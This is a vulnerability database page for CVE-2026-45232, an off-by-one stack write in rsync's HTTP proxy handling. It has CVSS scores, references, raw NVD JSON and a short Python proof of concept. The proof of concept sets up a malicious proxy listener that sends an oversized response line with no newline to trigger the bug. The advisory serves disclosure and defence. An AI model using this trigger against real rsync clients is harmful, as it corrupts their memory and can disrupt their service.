CVE-2026-45232

Description

Rsync versions before 3.4.3 contain an off-by-one out-of-bounds stack write vulnerability in the establish_proxy_connection() function in socket.c that allows network attackers to corrupt stack memory by sending a malformed HTTP proxy response. Attackers can exploit this by positioning themselves between the client and proxy or controlling the proxy server to send a response line of 1023 or more bytes without a newline terminator, causing a null byte to be written to an out-of-bounds stack address when the RSYNC_PROXY environment variable is set.

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Rsync < 3.4.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# Simulated malicious HTTP proxy response
# This script sends a response line of 1023 bytes without a newline terminator

def send_malicious_response(client_sock):
    payload = b'A' * 1023  # 1023 bytes, no newline
    try:
        client_sock.sendall(payload)
        print("[+] Malicious payload sent")
    except Exception as e:
        print(f"[-] Error sending payload: {e}")
    finally:
        client_sock.close()

# Setup a listener to simulate a proxy
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8080))
server.listen(1)
print("[*] Listening on port 8080...")

while True:
    client, addr = server.accept()
    print(f"[*] Connection from {addr}")
    # Wait for client request (simplified)
    client.recv(1024)
    send_malicious_response(client)
    break
server.close()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45232
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45232
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45232/
[4] VulDB https://vuldb.com/cve/CVE-2026-45232
[5] https://github.com/RsyncProject/rsync/releases/tag/v3.4.3
[6] https://github.com/RsyncProject/rsync/security/advisories/GHSA-8f85-j2cv-59m8
[7] https://www.vulncheck.com/advisories/rsync-off-by-one-stack-write-via-http-proxy

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45232", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:36.887", "lastModified": "2026-05-20T13:58:07.923", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rsync versions before 3.4.3 contain an off-by-one out-of-bounds stack write vulnerability in the establish_proxy_connection() function in socket.c that allows network attackers to corrupt stack memory by sending a malformed HTTP proxy response. Attackers can exploit this by positioning themselves between the client and proxy or controlling the proxy server to send a response line of 1023 or more bytes without a newline terminator, causing a null byte to be written to an out-of-bounds stack address when the RSYNC_PROXY environment variable is set."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-193"}]}], "references": [{"url": "https://github.com/RsyncProject/rsync/releases/tag/v3.4.3", "source": "[email protected]"}, {"url": "https://github.com/RsyncProject/rsync/security/advisories/GHSA-8f85-j2cv-59m8", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/rsync-off-by-one-stack-write-via-http-proxy", "source": "[email protected]"}]}}